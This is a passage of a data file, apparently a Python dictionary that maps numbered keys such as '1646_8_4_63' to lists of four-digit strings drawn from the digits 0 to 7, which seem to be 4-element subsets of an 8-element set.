['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1646_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1647_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1648_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1649_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1650_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1651_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1652_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1653_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1654_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1655_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1656_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1657_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1658_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1659_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1660_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1661_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1662_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1663_8_4_63' : ['0123','0124','0234','1234','0125','0135','0235','0145','1245','0345','1345','2345','0136','0236','1236','0146','0246','1246','0346','1346','0156','0256','1256','1356','2356','0456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1664_8_4_55' : ['0123','0124','0234','1234','0125','0235','1235','0245','1245','2345','0126','0236','1236','0246','1246','2346','0256','1256','2356','2456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1665_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1666_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1667_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1668_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1669_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1670_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1671_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1672_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1673_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1674_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1675_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1676_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1677_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','0247','1247','0347','1347','2347','0157','0257','0357','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1678_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1679_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1680_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1681_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1682_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1683_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1684_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1685_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1686_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1687_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1688_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','1567','2567','3567','4567'] , '1689_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1690_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1691_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','1257','0357','1357','2357','0457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1692_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1693_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1694_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1695_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1696_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1697_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1698_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','0467','1467','2467','3467','1567','2567','3567','4567'] , '1699_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1700_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','3457','0167','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1701_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','2567','3567','4567'] , '1702_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0247','1247','2347','0157','0257','1257','0357','1357','2357','0457','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1703_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1704_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0247','1247','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','1567','2567','3567','4567'] , '1705_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','0247','1247','0347','1347','2347','0157','0257','0357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','1567','2567','3567','4567'] , '1706_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1707_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1708_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1709_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1710_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1711_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1712_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1713_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','0347','1347','2347','0157','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1714_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1715_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1716_8_4_64' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1717_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1718_8_4_64' : 